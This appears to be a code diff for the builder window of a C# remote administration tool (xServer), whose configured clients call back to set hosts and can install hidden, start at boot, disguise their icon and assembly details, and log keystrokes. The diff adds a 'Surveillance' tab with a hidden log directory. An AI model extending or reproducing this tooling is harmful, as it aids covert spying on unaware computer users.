this.numericUpDownDelay.ValueChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
//
|
||||
// line3
|
||||
//
|
||||
|
@ -442,9 +478,9 @@
|
|||
// line1
|
||||
//
|
||||
this.line1.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
|
||||
this.line1.Location = new System.Drawing.Point(73, 5);
|
||||
this.line1.Location = new System.Drawing.Point(104, 5);
|
||||
this.line1.Name = "line1";
|
||||
this.line1.Size = new System.Drawing.Size(310, 13);
|
||||
this.line1.Size = new System.Drawing.Size(281, 13);
|
||||
this.line1.TabIndex = 13;
|
||||
this.line1.TabStop = false;
|
||||
//
|
||||
|
@ -453,9 +489,9 @@
|
|||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(6, 5);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(70, 13);
|
||||
this.label1.Size = new System.Drawing.Size(99, 13);
|
||||
this.label1.TabIndex = 14;
|
||||
this.label1.Text = "List of Hosts";
|
||||
this.label1.Text = "Connection Hosts";
|
||||
//
|
||||
// lstHosts
|
||||
//
|
||||
|
@ -495,18 +531,6 @@
|
|||
this.lblHost.TabIndex = 0;
|
||||
this.lblHost.Text = "IP/Hostname:";
|
||||
//
|
||||
// txtDelay
|
||||
//
|
||||
this.txtDelay.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.txtDelay.Location = new System.Drawing.Point(310, 282);
|
||||
this.txtDelay.MaxLength = 6;
|
||||
this.txtDelay.Name = "txtDelay";
|
||||
this.txtDelay.Size = new System.Drawing.Size(46, 22);
|
||||
this.txtDelay.TabIndex = 10;
|
||||
this.txtDelay.Text = "5000";
|
||||
this.txtDelay.TextChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
this.txtDelay.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtDelay_KeyPress);
|
||||
//
|
||||
// txtHost
|
||||
//
|
||||
this.txtHost.Location = new System.Drawing.Point(254, 22);
|
||||
|
@ -543,15 +567,6 @@
|
|||
this.chkShowPass.UseVisualStyleBackColor = true;
|
||||
this.chkShowPass.CheckedChanged += new System.EventHandler(this.chkShowPass_CheckedChanged);
|
||||
//
|
||||
// txtPort
|
||||
//
|
||||
this.txtPort.Location = new System.Drawing.Point(254, 50);
|
||||
this.txtPort.MaxLength = 5;
|
||||
this.txtPort.Name = "txtPort";
|
||||
this.txtPort.Size = new System.Drawing.Size(129, 22);
|
||||
this.txtPort.TabIndex = 3;
|
||||
this.txtPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPort_KeyPress);
|
||||
//
|
||||
// txtPassword
|
||||
//
|
||||
this.txtPassword.Location = new System.Drawing.Point(182, 200);
|
||||
|
@ -592,15 +607,15 @@
|
|||
this.installationPage.Controls.Add(this.chkHide);
|
||||
this.installationPage.Controls.Add(this.lblInstallpath);
|
||||
this.installationPage.Controls.Add(this.lblInstallsub);
|
||||
this.installationPage.Controls.Add(this.lblExamplePath);
|
||||
this.installationPage.Controls.Add(this.lblPreviewPath);
|
||||
this.installationPage.Controls.Add(this.txtInstallsub);
|
||||
this.installationPage.Controls.Add(this.txtExamplePath);
|
||||
this.installationPage.Controls.Add(this.txtPreviewPath);
|
||||
this.installationPage.Location = new System.Drawing.Point(140, 4);
|
||||
this.installationPage.Name = "installationPage";
|
||||
this.installationPage.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.installationPage.Size = new System.Drawing.Size(391, 370);
|
||||
this.installationPage.Size = new System.Drawing.Size(391, 376);
|
||||
this.installationPage.TabIndex = 1;
|
||||
this.installationPage.Text = "Installation";
|
||||
this.installationPage.Text = "Installation Settings";
|
||||
//
|
||||
// line7
|
||||
//
|
||||
|
@ -689,18 +704,18 @@
|
|||
this.lblRegistryKeyName.AutoSize = true;
|
||||
this.lblRegistryKeyName.Location = new System.Drawing.Point(17, 327);
|
||||
this.lblRegistryKeyName.Name = "lblRegistryKeyName";
|
||||
this.lblRegistryKeyName.Size = new System.Drawing.Size(103, 13);
|
||||
this.lblRegistryKeyName.Size = new System.Drawing.Size(80, 13);
|
||||
this.lblRegistryKeyName.TabIndex = 16;
|
||||
this.lblRegistryKeyName.Text = "Registry Key Name:";
|
||||
this.lblRegistryKeyName.Text = "Startup Name:";
|
||||
//
|
||||
// chkStartup
|
||||
//
|
||||
this.chkStartup.AutoSize = true;
|
||||
this.chkStartup.Location = new System.Drawing.Point(20, 298);
|
||||
this.chkStartup.Name = "chkStartup";
|
||||
this.chkStartup.Size = new System.Drawing.Size(102, 17);
|
||||
this.chkStartup.Size = new System.Drawing.Size(215, 17);
|
||||
this.chkStartup.TabIndex = 15;
|
||||
this.chkStartup.Text = "Add to Startup";
|
||||
this.chkStartup.Text = "Run Client when the computer starts";
|
||||
this.chkStartup.UseVisualStyleBackColor = true;
|
||||
this.chkStartup.CheckedChanged += new System.EventHandler(this.chkStartup_CheckedChanged);
|
||||
//
|
||||
|
@ -722,9 +737,9 @@
|
|||
this.chkHide.AutoSize = true;
|
||||
this.chkHide.Location = new System.Drawing.Point(20, 185);
|
||||
this.chkHide.Name = "chkHide";
|
||||
this.chkHide.Size = new System.Drawing.Size(71, 17);
|
||||
this.chkHide.Size = new System.Drawing.Size(168, 17);
|
||||
this.chkHide.TabIndex = 11;
|
||||
this.chkHide.Text = "Hide File";
|
||||
this.chkHide.Text = "Set file attributes to hidden";
|
||||
this.chkHide.UseVisualStyleBackColor = true;
|
||||
this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
//
|
||||
|
@ -746,14 +761,14 @@
|
|||
this.lblInstallsub.TabIndex = 6;
|
||||
this.lblInstallsub.Text = "Install Subfolder:";
|
||||
//
|
||||
// lblExamplePath
|
||||
// lblPreviewPath
|
||||
//
|
||||
this.lblExamplePath.AutoSize = true;
|
||||
this.lblExamplePath.Location = new System.Drawing.Point(17, 218);
|
||||
this.lblExamplePath.Name = "lblExamplePath";
|
||||
this.lblExamplePath.Size = new System.Drawing.Size(267, 13);
|
||||
this.lblExamplePath.TabIndex = 12;
|
||||
this.lblExamplePath.Text = "This is the path for the installation on your system.";
|
||||
this.lblPreviewPath.AutoSize = true;
|
||||
this.lblPreviewPath.Location = new System.Drawing.Point(17, 218);
|
||||
this.lblPreviewPath.Name = "lblPreviewPath";
|
||||
this.lblPreviewPath.Size = new System.Drawing.Size(157, 13);
|
||||
this.lblPreviewPath.TabIndex = 12;
|
||||
this.lblPreviewPath.Text = "Installation Location Preview:";
|
||||
//
|
||||
// txtInstallsub
|
||||
//
|
||||
|
@ -764,23 +779,29 @@
|
|||
this.txtInstallsub.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
|
||||
this.txtInstallsub.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress);
|
||||
//
|
||||
// txtExamplePath
|
||||
// txtPreviewPath
|
||||
//
|
||||
this.txtExamplePath.Location = new System.Drawing.Point(20, 234);
|
||||
this.txtExamplePath.Name = "txtExamplePath";
|
||||
this.txtExamplePath.ReadOnly = true;
|
||||
this.txtExamplePath.Size = new System.Drawing.Size(363, 22);
|
||||
this.txtExamplePath.TabIndex = 13;
|
||||
this.txtExamplePath.TabStop = false;
|
||||
this.txtPreviewPath.Location = new System.Drawing.Point(20, 234);
|
||||
this.txtPreviewPath.Name = "txtPreviewPath";
|
||||
this.txtPreviewPath.ReadOnly = true;
|
||||
this.txtPreviewPath.Size = new System.Drawing.Size(363, 22);
|
||||
this.txtPreviewPath.TabIndex = 13;
|
||||
this.txtPreviewPath.TabStop = false;
|
||||
//
|
||||
// assemblyPage
|
||||
//
|
||||
this.assemblyPage.BackColor = System.Drawing.SystemColors.Control;
|
||||
this.assemblyPage.Controls.Add(this.iconPreview);
|
||||
this.assemblyPage.Controls.Add(this.btnBrowseIcon);
|
||||
this.assemblyPage.Controls.Add(this.txtIconPath);
|
||||
this.assemblyPage.Controls.Add(this.line8);
|
||||
this.assemblyPage.Controls.Add(this.label11);
|
||||
this.assemblyPage.Controls.Add(this.chkChangeAsmInfo);
|
||||
this.assemblyPage.Controls.Add(this.txtFileVersion);
|
||||
this.assemblyPage.Controls.Add(this.line9);
|
||||
this.assemblyPage.Controls.Add(this.lblProductName);
|
||||
this.assemblyPage.Controls.Add(this.label12);
|
||||
this.assemblyPage.Controls.Add(this.chkChangeIcon);
|
||||
this.assemblyPage.Controls.Add(this.lblFileVersion);
|
||||
this.assemblyPage.Controls.Add(this.txtProductName);
|
||||
this.assemblyPage.Controls.Add(this.txtProductVersion);
|
||||
|
@ -797,9 +818,35 @@
|
|||
this.assemblyPage.Controls.Add(this.txtCopyright);
|
||||
this.assemblyPage.Location = new System.Drawing.Point(140, 4);
|
||||
this.assemblyPage.Name = "assemblyPage";
|
||||
this.assemblyPage.Size = new System.Drawing.Size(391, 370);
|
||||
this.assemblyPage.Size = new System.Drawing.Size(391, 376);
|
||||
this.assemblyPage.TabIndex = 2;
|
||||
this.assemblyPage.Text = "Assembly Information";
|
||||
this.assemblyPage.Text = "Assembly Settings";
|
||||
//
|
||||
// iconPreview
|
||||
//
|
||||
this.iconPreview.Location = new System.Drawing.Point(319, 302);
|
||||
this.iconPreview.Name = "iconPreview";
|
||||
this.iconPreview.Size = new System.Drawing.Size(64, 64);
|
||||
this.iconPreview.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
||||
this.iconPreview.TabIndex = 42;
|
||||
this.iconPreview.TabStop = false;
|
||||
//
|
||||
// btnBrowseIcon
|
||||
//
|
||||
this.btnBrowseIcon.Location = new System.Drawing.Point(177, 343);
|
||||
this.btnBrowseIcon.Name = "btnBrowseIcon";
|
||||
this.btnBrowseIcon.Size = new System.Drawing.Size(125, 23);
|
||||
this.btnBrowseIcon.TabIndex = 41;
|
||||
this.btnBrowseIcon.Text = "Browse...";
|
||||
this.btnBrowseIcon.UseVisualStyleBackColor = true;
|
||||
this.btnBrowseIcon.Click += new System.EventHandler(this.btnBrowseIcon_Click);
|
||||
//
|
||||
// txtIconPath
|
||||
//
|
||||
this.txtIconPath.Location = new System.Drawing.Point(20, 315);
|
||||
this.txtIconPath.Name = "txtIconPath";
|
||||
this.txtIconPath.Size = new System.Drawing.Size(282, 22);
|
||||
this.txtIconPath.TabIndex = 39;
|
||||
//
|
||||
// line8
|
||||
//
|
||||
|
@ -838,6 +885,15 @@
|
|||
this.txtFileVersion.TabIndex = 16;
|
||||
this.txtFileVersion.TextChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
//
|
||||
// line9
|
||||
//
|
||||
this.line9.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
|
||||
this.line9.Location = new System.Drawing.Point(83, 276);
|
||||
this.line9.Name = "line9";
|
||||
this.line9.Size = new System.Drawing.Size(300, 13);
|
||||
this.line9.TabIndex = 38;
|
||||
this.line9.TabStop = false;
|
||||
//
|
||||
// lblProductName
|
||||
//
|
||||
this.lblProductName.AutoSize = true;
|
||||
|
@ -847,6 +903,26 @@
|
|||
this.lblProductName.TabIndex = 1;
|
||||
this.lblProductName.Text = "Product Name:";
|
||||
//
|
||||
// label12
|
||||
//
|
||||
this.label12.AutoSize = true;
|
||||
this.label12.Location = new System.Drawing.Point(6, 276);
|
||||
this.label12.Name = "label12";
|
||||
this.label12.Size = new System.Drawing.Size(79, 13);
|
||||
this.label12.TabIndex = 0;
|
||||
this.label12.Text = "Assembly Icon";
|
||||
//
|
||||
// chkChangeIcon
|
||||
//
|
||||
this.chkChangeIcon.AutoSize = true;
|
||||
this.chkChangeIcon.Location = new System.Drawing.Point(20, 294);
|
||||
this.chkChangeIcon.Name = "chkChangeIcon";
|
||||
this.chkChangeIcon.Size = new System.Drawing.Size(141, 17);
|
||||
this.chkChangeIcon.TabIndex = 2;
|
||||
this.chkChangeIcon.Text = "Change Assembly Icon";
|
||||
this.chkChangeIcon.UseVisualStyleBackColor = true;
|
||||
this.chkChangeIcon.CheckedChanged += new System.EventHandler(this.chkChangeIcon_CheckedChanged);
|
||||
//
|
||||
// lblFileVersion
|
||||
//
|
||||
this.lblFileVersion.AutoSize = true;
|
||||
|
@ -966,75 +1042,76 @@
|
|||
this.txtCopyright.TabIndex = 8;
|
||||
this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
//
|
||||
// additionalTab
|
||||
// surveillanceTab
|
||||
//
|
||||
this.additionalTab.BackColor = System.Drawing.SystemColors.Control;
|
||||
this.additionalTab.Controls.Add(this.line10);
|
||||
this.additionalTab.Controls.Add(this.label14);
|
||||
this.additionalTab.Controls.Add(this.label13);
|
||||
this.additionalTab.Controls.Add(this.line9);
|
||||
this.additionalTab.Controls.Add(this.label12);
|
||||
this.additionalTab.Controls.Add(this.chkKeylogger);
|
||||
this.additionalTab.Controls.Add(this.chkIconChange);
|
||||
this.additionalTab.Location = new System.Drawing.Point(140, 4);
|
||||
this.additionalTab.Name = "additionalTab";
|
||||
this.additionalTab.Size = new System.Drawing.Size(391, 370);
|
||||
this.additionalTab.TabIndex = 3;
|
||||
this.additionalTab.Text = "Additional Settings";
|
||||
this.surveillanceTab.BackColor = System.Drawing.SystemColors.Control;
|
||||
this.surveillanceTab.Controls.Add(this.chkHideLogDirectory);
|
||||
this.surveillanceTab.Controls.Add(this.txtLogDirectoryName);
|
||||
this.surveillanceTab.Controls.Add(this.lblLogDirectory);
|
||||
this.surveillanceTab.Controls.Add(this.line10);
|
||||
this.surveillanceTab.Controls.Add(this.label14);
|
||||
this.surveillanceTab.Controls.Add(this.chkKeylogger);
|
||||
this.surveillanceTab.Location = new System.Drawing.Point(140, 4);
|
||||
this.surveillanceTab.Name = "surveillanceTab";
|
||||
this.surveillanceTab.Size = new System.Drawing.Size(391, 376);
|
||||
this.surveillanceTab.TabIndex = 3;
|
||||
this.surveillanceTab.Text = "Surveillance Settings";
|
||||
//
|
||||
// chkHideLogDirectory
|
||||
//
|
||||
this.chkHideLogDirectory.AutoSize = true;
|
||||
this.chkHideLogDirectory.Location = new System.Drawing.Point(316, 72);
|
||||
this.chkHideLogDirectory.Name = "chkHideLogDirectory";
|
||||
this.chkHideLogDirectory.Size = new System.Drawing.Size(64, 17);
|
||||
this.chkHideLogDirectory.TabIndex = 7;
|
||||
this.chkHideLogDirectory.Text = "Hidden";
|
||||
this.chkHideLogDirectory.UseVisualStyleBackColor = true;
|
||||
this.chkHideLogDirectory.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
//
|
||||
// txtLogDirectoryName
|
||||
//
|
||||
this.txtLogDirectoryName.Location = new System.Drawing.Point(262, 44);
|
||||
this.txtLogDirectoryName.Name = "txtLogDirectoryName";
|
||||
this.txtLogDirectoryName.Size = new System.Drawing.Size(118, 22);
|
||||
this.txtLogDirectoryName.TabIndex = 6;
|
||||
this.txtLogDirectoryName.TextChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
this.txtLogDirectoryName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtLogDirectoryName_KeyPress);
|
||||
//
|
||||
// lblLogDirectory
|
||||
//
|
||||
this.lblLogDirectory.AutoSize = true;
|
||||
this.lblLogDirectory.Location = new System.Drawing.Point(17, 47);
|
||||
this.lblLogDirectory.Name = "lblLogDirectory";
|
||||
this.lblLogDirectory.Size = new System.Drawing.Size(110, 13);
|
||||
this.lblLogDirectory.TabIndex = 5;
|
||||
this.lblLogDirectory.Text = "Log Directory Name:";
|
||||
//
|
||||
// line10
|
||||
//
|
||||
this.line10.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
|
||||
this.line10.Location = new System.Drawing.Point(83, 77);
|
||||
this.line10.Location = new System.Drawing.Point(72, 5);
|
||||
this.line10.Name = "line10";
|
||||
this.line10.Size = new System.Drawing.Size(300, 13);
|
||||
this.line10.Size = new System.Drawing.Size(308, 13);
|
||||
this.line10.TabIndex = 41;
|
||||
this.line10.TabStop = false;
|
||||
//
|
||||
// label14
|
||||
//
|
||||
this.label14.AutoSize = true;
|
||||
this.label14.Location = new System.Drawing.Point(6, 77);
|
||||
this.label14.Location = new System.Drawing.Point(6, 5);
|
||||
this.label14.Name = "label14";
|
||||
this.label14.Size = new System.Drawing.Size(80, 13);
|
||||
this.label14.Size = new System.Drawing.Size(68, 13);
|
||||
this.label14.TabIndex = 3;
|
||||
this.label14.Text = "Miscellaneous";
|
||||
//
|
||||
// label13
|
||||
//
|
||||
this.label13.AutoSize = true;
|
||||
this.label13.Location = new System.Drawing.Point(20, 21);
|
||||
this.label13.Name = "label13";
|
||||
this.label13.Size = new System.Drawing.Size(317, 13);
|
||||
this.label13.TabIndex = 1;
|
||||
this.label13.Text = "You will be asked to choose the icon when building a client.";
|
||||
//
|
||||
// line9
|
||||
//
|
||||
this.line9.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
|
||||
this.line9.Location = new System.Drawing.Point(33, 5);
|
||||
this.line9.Name = "line9";
|
||||
this.line9.Size = new System.Drawing.Size(350, 13);
|
||||
this.line9.TabIndex = 38;
|
||||
this.line9.TabStop = false;
|
||||
//
|
||||
// label12
|
||||
//
|
||||
this.label12.AutoSize = true;
|
||||
this.label12.Location = new System.Drawing.Point(6, 5);
|
||||
this.label12.Name = "label12";
|
||||
this.label12.Size = new System.Drawing.Size(29, 13);
|
||||
this.label12.TabIndex = 0;
|
||||
this.label12.Text = "Icon";
|
||||
this.label14.Text = "Surveillance";
|
||||
//
|
||||
// chkKeylogger
|
||||
//
|
||||
this.chkKeylogger.AutoSize = true;
|
||||
this.chkKeylogger.Location = new System.Drawing.Point(23, 96);
|
||||
this.chkKeylogger.Location = new System.Drawing.Point(20, 21);
|
||||
this.chkKeylogger.Name = "chkKeylogger";
|
||||
this.chkKeylogger.Size = new System.Drawing.Size(115, 17);
|
||||
this.chkKeylogger.Size = new System.Drawing.Size(156, 17);
|
||||
this.chkKeylogger.TabIndex = 4;
|
||||
this.chkKeylogger.Text = "Enable Keylogger";
|
||||
this.chkKeylogger.Text = "Enable keyboard logging";
|
||||
this.chkKeylogger.UseVisualStyleBackColor = true;
|
||||
this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
|
||||
//
|
||||
|
@ -1043,7 +1120,7 @@
|
|||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.BackColor = System.Drawing.SystemColors.Control;
|
||||
this.ClientSize = new System.Drawing.Size(535, 419);
|
||||
this.ClientSize = new System.Drawing.Size(535, 424);
|
||||
this.Controls.Add(this.builderTabs);
|
||||
this.Controls.Add(this.btnBuild);
|
||||
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
|
@ -1064,12 +1141,15 @@
|
|||
this.generalPage.PerformLayout();
|
||||
this.connectionPage.ResumeLayout(false);
|
||||
this.connectionPage.PerformLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).EndInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).EndInit();
|
||||
this.installationPage.ResumeLayout(false);
|
||||
this.installationPage.PerformLayout();
|
||||
this.assemblyPage.ResumeLayout(false);
|
||||
this.assemblyPage.PerformLayout();
|
||||
this.additionalTab.ResumeLayout(false);
|
||||
this.additionalTab.PerformLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit();
|
||||
this.surveillanceTab.ResumeLayout(false);
|
||||
this.surveillanceTab.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
|
||||
}
|
||||
|
@ -1079,11 +1159,9 @@
|
|||
private System.Windows.Forms.CheckBox chkShowPass;
|
||||
private System.Windows.Forms.TextBox txtPassword;
|
||||
private System.Windows.Forms.Label lblPassword;
|
||||
private System.Windows.Forms.TextBox txtPort;
|
||||
private System.Windows.Forms.Label lblPort;
|
||||
private System.Windows.Forms.TextBox txtHost;
|
||||
private System.Windows.Forms.Label lblHost;
|
||||
private System.Windows.Forms.TextBox txtDelay;
|
||||
private System.Windows.Forms.Label lblDelay;
|
||||
private System.Windows.Forms.CheckBox chkInstall;
|
||||
private System.Windows.Forms.TextBox txtInstallname;
|
||||
|
@ -1095,8 +1173,8 @@
|
|||
private System.Windows.Forms.RadioButton rbAppdata;
|
||||
private System.Windows.Forms.TextBox txtInstallsub;
|
||||
private System.Windows.Forms.Label lblInstallsub;
|
||||
private System.Windows.Forms.Label lblExamplePath;
|
||||
private System.Windows.Forms.TextBox txtExamplePath;
|
||||
private System.Windows.Forms.Label lblPreviewPath;
|
||||
private System.Windows.Forms.TextBox txtPreviewPath;
|
||||
private System.Windows.Forms.Button btnMutex;
|
||||
private System.Windows.Forms.CheckBox chkHide;
|
||||
private System.Windows.Forms.TextBox txtRegistryKeyName;
|
||||
|
@ -1109,7 +1187,7 @@
|
|||
private System.Windows.Forms.PictureBox picUAC1;
|
||||
private System.Windows.Forms.PictureBox picUAC2;
|
||||
private System.Windows.Forms.ToolTip tooltip;
|
||||
private System.Windows.Forms.CheckBox chkIconChange;
|
||||
private System.Windows.Forms.CheckBox chkChangeIcon;
|
||||
private System.Windows.Forms.TextBox txtDescription;
|
||||
private System.Windows.Forms.Label lblDescription;
|
||||
private System.Windows.Forms.TextBox txtProductName;
|
||||
|
@ -1132,7 +1210,7 @@
|
|||
private System.Windows.Forms.TabPage connectionPage;
|
||||
private System.Windows.Forms.TabPage installationPage;
|
||||
private System.Windows.Forms.TabPage assemblyPage;
|
||||
private System.Windows.Forms.TabPage additionalTab;
|
||||
private System.Windows.Forms.TabPage surveillanceTab;
|
||||
private System.Windows.Forms.ListBox lstHosts;
|
||||
private System.Windows.Forms.ContextMenuStrip contextMenuStrip;
|
||||
private System.Windows.Forms.Button btnAddHost;
|
||||
|
@ -1159,11 +1237,18 @@
|
|||
private System.Windows.Forms.Label label10;
|
||||
private Controls.Line line8;
|
||||
private System.Windows.Forms.Label label11;
|
||||
private System.Windows.Forms.Label label13;
|
||||
private Controls.Line line9;
|
||||
private System.Windows.Forms.Label label12;
|
||||
private Controls.Line line10;
|
||||
private System.Windows.Forms.Label label14;
|
||||
private System.Windows.Forms.ToolStripMenuItem clearToolStripMenuItem;
|
||||
private System.Windows.Forms.Button btnBrowseIcon;
|
||||
private System.Windows.Forms.TextBox txtIconPath;
|
||||
private System.Windows.Forms.PictureBox iconPreview;
|
||||
private System.Windows.Forms.Label lblLogDirectory;
|
||||
private System.Windows.Forms.TextBox txtLogDirectoryName;
|
||||
private System.Windows.Forms.CheckBox chkHideLogDirectory;
|
||||
private System.Windows.Forms.NumericUpDown numericUpDownDelay;
|
||||
private System.Windows.Forms.NumericUpDown numericUpDownPort;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Windows.Forms;
|
||||
|
@ -31,7 +32,7 @@ namespace xServer.Forms
|
|||
|
||||
txtTag.Text = profile.Tag;
|
||||
txtPassword.Text = profile.Password;
|
||||
txtDelay.Text = profile.Delay.ToString();
|
||||
numericUpDownDelay.Value = profile.Delay;
|
||||
txtMutex.Text = profile.Mutex;
|
||||
chkInstall.Checked = profile.InstallClient;
|
||||
txtInstallname.Text = profile.InstallName;
|
||||
|
@ -40,9 +41,12 @@ namespace xServer.Forms
|
|||
chkHide.Checked = profile.HideFile;
|
||||
chkStartup.Checked = profile.AddStartup;
|
||||
txtRegistryKeyName.Text = profile.RegistryName;
|
||||
chkIconChange.Checked = profile.ChangeIcon;
|
||||
chkChangeIcon.Checked = profile.ChangeIcon;
|
||||
txtIconPath.Text = profile.IconPath;
|
||||
chkChangeAsmInfo.Checked = profile.ChangeAsmInfo;
|
||||
chkKeylogger.Checked = profile.Keylogger;
|
||||
txtLogDirectoryName.Text = profile.LogDirectoryName;
|
||||
chkHideLogDirectory.Checked = profile.HideLogDirectory;
|
||||
txtProductName.Text = profile.ProductName;
|
||||
txtDescription.Text = profile.Description;
|
||||
txtCompanyName.Text = profile.CompanyName;
|
||||
|
@ -62,7 +66,7 @@ namespace xServer.Forms
|
|||
profile.Tag = txtTag.Text;
|
||||
profile.Hosts = HostHelper.GetRawHosts(_hosts);
|
||||
profile.Password = txtPassword.Text;
|
||||
profile.Delay = int.Parse(txtDelay.Text);
|
||||
profile.Delay = (int)numericUpDownDelay.Value;
|
||||
profile.Mutex = txtMutex.Text;
|
||||
profile.InstallClient = chkInstall.Checked;
|
||||
profile.InstallName = txtInstallname.Text;
|
||||
|
@ -71,9 +75,12 @@ namespace xServer.Forms
|
|||
profile.HideFile = chkHide.Checked;
|
||||
profile.AddStartup = chkStartup.Checked;
|
||||
profile.RegistryName = txtRegistryKeyName.Text;
|
||||
profile.ChangeIcon = chkIconChange.Checked;
|
||||
profile.ChangeIcon = chkChangeIcon.Checked;
|
||||
profile.IconPath = txtIconPath.Text;
|
||||
profile.ChangeAsmInfo = chkChangeAsmInfo.Checked;
|
||||
profile.Keylogger = chkKeylogger.Checked;
|
||||
profile.LogDirectoryName = txtLogDirectoryName.Text;
|
||||
profile.HideLogDirectory = chkHideLogDirectory.Checked;
|
||||
profile.ProductName = txtProductName.Text;
|
||||
profile.Description = txtDescription.Text;
|
||||
profile.CompanyName = txtCompanyName.Text;
|
||||
|
@ -88,11 +95,12 @@ namespace xServer.Forms
|
|||
{
|
||||
LoadProfile("Default");
|
||||
|
||||
txtPort.Text = Settings.ListenPort.ToString();
|
||||
numericUpDownPort.Value = Settings.ListenPort;
|
||||
|
||||
UpdateControlStates();
|
||||
|
||||
ToggleAsmInfoControls();
|
||||
UpdateInstallationControlStates();
|
||||
UpdateStartupControlStates();
|
||||
UpdateAssemblyControlStates();
|
||||
UpdateIconControlStates();
|
||||
}
|
||||
|
||||
private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e)
|
||||
|
@ -107,22 +115,15 @@ namespace xServer.Forms
|
|||
|
||||
private void btnAddHost_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (txtHost.Text.Length < 1 || txtPort.Text.Length < 1) return;
|
||||
if (txtHost.Text.Length < 1) return;
|
||||
|
||||
HasChanged();
|
||||
|
||||
var host = txtHost.Text;
|
||||
ushort port;
|
||||
if (!ushort.TryParse(txtPort.Text, out port))
|
||||
{
|
||||
MessageBox.Show("Please enter a valid port.", "Builder",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
return;
|
||||
}
|
||||
ushort port = (ushort)numericUpDownPort.Value;
|
||||
|
||||
_hosts.Add(new Host {Hostname = host, Port = port});
|
||||
txtHost.Text = "";
|
||||
txtPort.Text = "";
|
||||
}
|
||||
|
||||
#region "Context Menu"
|
||||
|
@ -159,16 +160,6 @@ namespace xServer.Forms
|
|||
txtPassword.PasswordChar = (chkShowPass.Checked) ? '\0' : '•';
|
||||
}
|
||||
|
||||
private void txtPort_KeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
e.Handled = (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar));
|
||||
}
|
||||
|
||||
private void txtDelay_KeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
e.Handled = (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar));
|
||||
}
|
||||
|
||||
private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
|
||||
|
@ -181,6 +172,12 @@ namespace xServer.Forms
|
|||
!char.IsControl(e.KeyChar));
|
||||
}
|
||||
|
||||
private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
|
||||
!char.IsControl(e.KeyChar));
|
||||
}
|
||||
|
||||
private void btnMutex_Click(object sender, EventArgs e)
|
||||
{
|
||||
HasChanged();
|
||||
|
@ -192,63 +189,141 @@ namespace xServer.Forms
|
|||
{
|
||||
HasChanged();
|
||||
|
||||
UpdateControlStates();
|
||||
UpdateInstallationControlStates();
|
||||
}
|
||||
|
||||
private void chkStartup_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
HasChanged();
|
||||
|
||||
txtRegistryKeyName.Enabled = chkStartup.Checked;
|
||||
UpdateStartupControlStates();
|
||||
}
|
||||
|
||||
private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
HasChanged();
|
||||
|
||||
ToggleAsmInfoControls();
|
||||
UpdateAssemblyControlStates();
|
||||
}
|
||||
|
||||
private void btnBrowseIcon_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog ofd = new OpenFileDialog())
|
||||
{
|
||||
ofd.Title = "Choose Icon";
|
||||
ofd.Filter = "Icons *.ico|*.ico";
|
||||
ofd.Multiselect = false;
|
||||
if (ofd.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
txtIconPath.Text = ofd.FileName;
|
||||
iconPreview.Image = Bitmap.FromHicon(new Icon(ofd.FileName, new Size(64, 64)).Handle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void chkChangeIcon_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
HasChanged();
|
||||
|
||||
UpdateIconControlStates();
|
||||
}
|
||||
#endregion
|
||||
|
||||
